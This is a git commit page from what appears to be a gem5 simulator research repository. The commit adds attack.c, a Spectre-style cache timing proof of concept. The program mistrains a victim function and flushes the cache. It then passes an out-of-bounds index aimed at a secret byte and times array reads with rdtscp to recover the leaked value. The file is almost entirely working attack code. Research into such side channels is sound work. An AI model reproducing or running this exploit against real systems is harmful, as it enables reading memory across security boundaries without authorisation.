diff options
author | Iru Cai <mytbk920423@gmail.com> | 2019-04-10 16:00:23 +0800 |
---|---|---|
committer | Iru Cai <mytbk920423@gmail.com> | 2019-05-31 16:03:18 +0800 |
commit | cd184d861f5702e0ec5855e7247584c799bd24a2 (patch) | |
tree | fa4dea6b6adf438dca6b023cd7b0cda14807fc0e /attack_code/evict_load/attack.c | |
parent | 3fe13600a91d1eb8a353f1ac7455d9a1d977027a (diff) | |
download | gem5-cd184d861f5702e0ec5855e7247584c799bd24a2.tar.xz |
add attack code and attack test script
Diffstat (limited to 'attack_code/evict_load/attack.c')
-rw-r--r-- | attack_code/evict_load/attack.c | 50 |
1 files changed, 50 insertions, 0 deletions
diff --git a/attack_code/evict_load/attack.c b/attack_code/evict_load/attack.c new file mode 100644 index 000000000..85a2017f0 --- /dev/null +++ b/attack_code/evict_load/attack.c @@ -0,0 +1,50 @@ +#include <stdio.h> +#include <stdint.h> +#include <string.h> +#include <x86intrin.h> + +/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */ +#define LLC_SIZE (2 << 20) + +uint8_t dummy[LLC_SIZE]; +size_t array_size = 4; +uint8_t array1[200] = {1, 2, 3, 4}; +uint8_t array2[256 * 64 * 2]; +uint8_t X; +uint8_t array3[4096]; +uint8_t tmp; + +uint8_t victim(size_t idx); + +int main() +{ + unsigned long t[256]; + volatile uint8_t x; + + victim(0); + victim(0); + victim(0); + victim(0); + victim(0); + + memset(dummy, 1, sizeof(dummy)); // flush L2 + X = 123; // set the secret value, and also bring it to cache + + _mm_mfence(); + + size_t attack_idx = &X - array1; + victim(attack_idx); + + for (int i = 0; i < 256; i++) { + unsigned int junk; + unsigned long time1 = __rdtscp(&junk); + x ^= array2[i * 64]; + unsigned long time2 = __rdtscp(&junk); + t[i] = time2 - time1; + } + + printf("attack_idx = %ld\n", attack_idx); + for (int i = 0; i < 256; i++) { + printf("%d: %d, %s\n", i, t[i], (t[i] < 40)? "\x1b[1;31mhit\x1b[m": "miss"); + } +} |